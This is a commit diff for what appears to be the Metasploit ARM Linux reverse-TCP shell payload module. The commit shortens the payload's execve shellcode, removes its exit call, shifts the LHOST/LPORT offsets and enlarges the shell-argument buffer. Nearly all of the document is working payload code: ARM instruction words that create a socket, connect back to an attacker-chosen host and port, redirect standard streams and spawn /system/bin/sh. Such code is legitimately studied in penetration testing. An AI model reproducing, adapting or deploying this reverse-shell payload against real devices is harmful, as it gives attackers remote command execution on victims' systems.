Skip to content

Commit fd7248b

Browse files
work on linux/armle/shell_reverse_tcp
shorten the execve code, remove exit, grow argv[0] space
1 parent abc0640 commit fd7248b

File tree

1 file changed

+14
-23
lines changed

1 file changed

+14
-23
lines changed

modules/payloads/singles/linux/armle/shell_reverse_tcp.rb

Lines changed: 14 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -28,8 +28,8 @@ def initialize(info = {})
2828
{
2929
'Offsets' =>
3030
{
31-
'LHOST' => [ 172, 'ADDR' ],
32-
'LPORT' => [ 170, 'n' ],
31+
'LHOST' => [ 136, 'ADDR' ],
32+
'LPORT' => [ 134, 'n' ],
3333
},
3434
'Payload' =>
3535
[
@@ -54,7 +54,7 @@ def initialize(info = {})
5454

5555
# connect(soc, socaddr, 0x10)
5656
0xe1a06000, # mov r6, r0
57-
0xe28f1084, # 1dr r1, pc, #132 ; 0x84
57+
0xe28f1060, # 1dr r1, pc, #96 ; 0x60
5858
0xe3a02010, # mov r2, #16 ; 0x10
5959
0xe3a0708d, # mov r7, #141 ; 0x8d
6060
0xe287708e, # add r7, r7, #142 ; 0x8e
@@ -79,30 +79,18 @@ def initialize(info = {})
7979
0xef000000, # svc 0x00000000
8080

8181
# execve("/system/bin/sh", args, env)
82-
# Shrink me here. I am lame.
83-
0xe28f0048, # add r0, pc, #72 ; 0x48
82+
0xe28f0024, # add r0, pc, #36 ; 0x24
8483
0xe0244004, # eor r4, r4, r4
8584
0xe92d0010, # push {r4}
8685
0xe1a0200d, # mov r2, sp
87-
0xe92d0004, # push {r2}
88-
0xe1a0200d, # mov r2, sp
86+
0xe28f4024, # add r4, pc, #36 ; 0x10
8987
0xe92d0010, # push {r4}
90-
0xe59f1048, # ldr r1, [pc, #72] ; 8124 <env+0x8>
91-
0xe92d0002, # push {r1}
92-
0xe92d2000, # push {sp}
9388
0xe1a0100d, # mov r1, sp
94-
0xe92d0004, # push {r2}
95-
0xe1a0200d, # mov r2, sp
9689
0xe3a0700b, # mov r7, #11 ; 0xb
9790
0xef000000, # svc 0x00000000
9891

99-
# exit(0)
100-
0xe3a00000, # mov r0, #0 ; 0x0
101-
0xe3a07001, # mov r7, #1 ; 0x1
102-
0xef000000, # svc 0x00000000
103-
10492
# <af>:
105-
# port offset = 170, ip offset = 172
93+
# port offset = 134, ip offset = 136
10694
0x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2
10795
0x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.1
10896
# <shell>:
@@ -111,7 +99,10 @@ def initialize(info = {})
11199
0x00000000, # .word 0x00000000
112100
0x00000000, # .word 0x00000000
113101
# <arg>:
114-
0x00000000 # .word 0x00000000 ; the args!
102+
0x00000000, # .word 0x00000000 ; the args!
103+
0x00000000, # .word 0x00000000
104+
0x00000000, # .word 0x00000000
105+
0x00000000, # .word 0x00000000
115106

116107
].pack("V*")
117108
}
@@ -132,14 +123,14 @@ def generate
132123
if sh.length >= 16
133124
raise ArgumentError, "The specified shell must be less than 16 bytes."
134125
end
135-
p[176, sh.length] = sh
126+
p[140, sh.length] = sh
136127

137128
arg = datastore['SHELLARG']
138129
if arg
139-
if arg.length >= 4
140-
raise ArgumentError, "The specified shell argument must be less than 4 bytes."
130+
if arg.length >= 16
131+
raise ArgumentError, "The specified shell argument must be less than 16 bytes."
141132
end
142-
p[192, arg.length] = arg
133+
p[156, arg.length] = arg
143134
end
144135

145136
p

0 commit comments

Comments
 (0)